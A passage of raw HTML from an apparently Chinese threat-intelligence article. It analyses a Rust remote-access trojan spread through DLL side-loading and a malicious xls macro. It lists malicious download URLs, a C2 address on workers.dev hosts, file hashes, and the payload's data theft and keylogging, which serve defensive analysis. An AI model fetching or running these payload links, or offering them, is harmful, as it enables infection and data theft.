16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">Dll</span></span></span></p></td></tr></tbody></table></p></div></div></div></div></div></div></div><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalp20tl" data-nest-level="3"><span mpa-font-style="mo1adudviih" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">部署清单URL：</span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalp1o0w" data-nest-level="3"><span mpa-font-style="mo1adudv9mv" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5"><a href="https://itsupport.apps-sco-gov-pk.workers.dev/download/AdobeReader.application" target="_blank">https://itsupport.apps-sco-gov-pk.workers.dev/download/AdobeReader.application</a></span></span></p><p data-mpa-md-key="common" style="margin: 16px 0px;font-size: 15px;color: rgb(51, 51, 51);" data-nest-level="3"><span style="height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;font-style: normal;font-weight: normal;height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="5"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.21687587168758718" data-w="1434" style="width: 553.54px;height: 120.07px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=a3ff29c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJ2WOVduvB0xsaVKxvdWrC3UaSaAJkZ9GZsxTFG55l0UYib6kz5FP8uqkpIX4csv2Ggfj2NxYVhca2ic46kyCd1yg9MREJcdX30w%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalq1tnu" data-nest-level="3"><span mpa-font-style="mo1adudv53a" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">白加黑组件下载：</span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalq5y" data-nest-level="3"><span mpa-font-style="mo1adudv3ds" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5"><a href="https://itsupport.apps-sco-gov-pk.workers.dev/download/Svcc.exe" target="_blank">https://itsupport.apps-sco-gov-pk.workers.dev/download/Svcc.exe</a></span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalq1m5n" data-nest-level="3"><span mpa-font-style="mo1adudv1dka" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5"><a href="https://itsupport.apps-sco-gov-pk.workers.dev/download/cryptbase.dll" target="_blank">https://itsupport.apps-sco-gov-pk.workers.dev/download/cryptbase.dll</a></span></span></p><p data-mpa-md-key="common" style="margin: 16px 0px;font-size: 15px;color: rgb(51, 51, 51);" data-nest-level="3"><span style="height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;font-style: normal;font-weight: normal;height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="5"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3912" data-w="1250" style="width: 552.54px;height: 216.14px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=5ab80b8e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXINmtialqpJ24GNicJW24Vr0dmnxibwts95ROa3kH5000FsxGpd5l4Pu7KJjMZr3Fv9kAzRvVClHCQOPwmHTmdQsKO3WwK12bKwL0%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalq1czr" data-nest-level="3"><span mpa-font-style="mo1adudvmul" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">核心载荷使用rust语言编写增加逆向难度，与本次分析的样本逻辑一致，开始依旧检测样本是否在指定的文件夹下，否则退出进程，接着开始将样本进行持久化操作。</span></span></p><p data-mpa-md-key="common" style="margin: 16px 0px;font-size: 15px;color: rgb(51, 51, 51);" data-nest-level="3"><span style="height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;font-style: normal;font-weight: normal;height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="5"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.27664670658682633" data-w="835" style="width: 553.61px;height: 153.14px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=dcad0176&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXI2kYj1zEJWmIicRS0o2dEUvgx8aCVpHsXTUeAv5kDTDNBbQBbohythrnSHpMo9iaV5iawdv6DXVRvPj0BibE7d2l7KaWFnV1Sqjs0%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalq1le0" data-nest-level="3"><span mpa-font-style="mo1adudvr3v" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">C2的解密方式依旧使用异或解密，C2： <a href="https://support.cc-cvbs-sco.workers.dev。" target="_blank">https://support.cc-cvbs-sco.workers.dev。</a></span></span></p><p data-mpa-md-key="common" style="margin: 16px 0px;font-size: 15px;color: rgb(51, 51, 51);" data-nest-level="3"><span style="height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;font-style: normal;font-weight: normal;height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="5"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.23931623931623933" data-w="1521" style="width: 553.68px;height: 132.47px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=83d07bf6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIhcg6kSmIGMzFNUz5tDiceO1bN2viaboO2lMXyKmaZzicbjTckll5zVkcWAfj0h1icz3DDARyVPlZj3MSszQPiabbYmh0sof6ctouk%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalqoug" data-nest-level="3"><span mpa-font-style="mo1adudv1y3o" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">接着获取用户敏感信息并发送至服务器，然后开始等待远控指令下发，远控指令与本次分析的基本一致，但此样本新增了键盘监控功能。</span></span></p><p data-mpa-md-key="common" style="margin: 16px 0px;font-size: 15px;color: rgb(51, 51, 51);" data-nest-level="3"><span style="height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;font-style: normal;font-weight: normal;height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="5"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3793388429752066" data-w="1210" style="width: 553.01px;height: 209.74px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=fc6c65ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIzpqalNXnIJdEepFQVj6tHXWH9Aeowc7muUT5IKRIb3MzfhINdPjaGJnwKmXGASYF8VRX27F8cYjDBMGlALbCqc6gLocUpyfU%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalq13de" data-nest-level="3"><span mpa-font-style="mo1adudvv8" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">关联到通过恶意宏代码释放核心载荷的攻击活动，如下：</span></span></p><div data-nest-level="3"><div data-nest-level="4"><div data-nest-level="5"><div data-nest-level="6"><div data-nest-level="7"><div data-nest-level="8"><div data-nest-level="9"><p data-nest-level="10"><table style="width: 425px;"><tbody><tr><td data-colwidth="94" width="94" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="13"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">MD5</span></span></span></p></td><td data-colwidth="331" width="331" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="13"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">bc43ee3b9873539932b9eb23f21e9e1b</span></span></span></p></td></tr><tr><td data-colwidth="94" width="94" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="13"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">文件名称</span></span></span></p></td><td data-colwidth="331" width="331" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="13"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">spreadsheet.xls (copy)</span></span></span></p></td></tr><tr><td data-colwidth="94" width="94" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="13"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">文件类型</span></span></span></p></td><td data-colwidth="331" width="331" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="13"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">xls</span></span></span></p></td></tr><tr><td data-colwidth="94" width="94" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="13"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">MD5</span></span></span></p></td><td data-colwidth="331" width="331" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="13"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">f310ee836f88cc43d3939f8a88b20495</span></span></span></p></td></tr><tr><td data-colwidth="94" width="94" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="13"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">文件名称</span></span></span></p></td><td data-colwidth="331" width="331" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="13"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">sppc.dll</span></span></span></p></td></tr><tr><td data-colwidth="94" width="94" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="13"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">文件类型</span></span></span></p></td><td data-colwidth="331" width="331" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15" data-mpa-action-id="mrvj3smn1g2e"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="13"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">dll</span></span></span></p></td></tr></tbody></table></p></div></div></div></div></div></div></div><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalq1hnk" data-nest-level="3"><span mpa-font-style="mo1adudv11p2" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">该xls文档文件带有恶意的宏代码，功能主要是下载白加黑组件并执行，下载链接如下：</span></span></p><div data-nest-level="3"><div data-nest-level="4"><div data-nest-level="5"><div data-nest-level="6"><div data-nest-level="7"><div data-nest-level="8"><div data-nest-level="9"><p data-nest-level="10"><table style="width:480px;"><tbody><tr><td data-colwidth="342" width="415" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="13"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">URL</span></span></span></p></td><td data-colwidth="138" width="138" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="13"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">FileName</span></span></span></p></td></tr><tr><td data-colwidth="342" width="415" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="13"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14"><a href="https://ftp.desco-gov-bd.workers.dev/favicon.ico" target="_blank">https://ftp.desco-gov-bd.workers.dev/favicon.ico</a></span></span></span></p></td><td data-colwidth="138" width="138" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="13"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">C:\ProgramData\sppc.dll</span></span></span></p></td></tr><tr><td data-colwidth="342" width="415" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="13"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14"><a href="https://fancy-voice-b182.goldibrowhoami.workers.dev/audiodg.pdf" target="_blank">https://fancy-voice-b182.goldibrowhoami.workers.dev/audiodg.pdf</a></span></span></span></p></td><td data-colwidth="138" width="138" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15" data-mpa-action-id="mrvj4otn1uvb"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="13"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">C:\ProgramData\audiodg.exe</span></span></span></p></td></tr></tbody></table></p></div></div></div></div></div></div></div><p data-mpa-md-key="common" style="margin: 16px 0px;font-size: 15px;color: rgb(51, 51, 51);" data-nest-level="3"><span style="height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;font-style: normal;font-weight: normal;height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="5"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6556291390728477" data-w="755" style="width: 553.41px;height: 362.87px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=2a12a61b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJ3dNE7gXZNlrHRkpDejV9xTcksFjCxnxagvqq5PF7ZDJtd7fJtiaIsic2IRK8H9d7uVL9qXSu4dGpUL48j2jQAVYGwnvOFSCMqY%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalr1qy4" data-nest-level="3"><span mpa-font-style="mo1adudv224k" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" 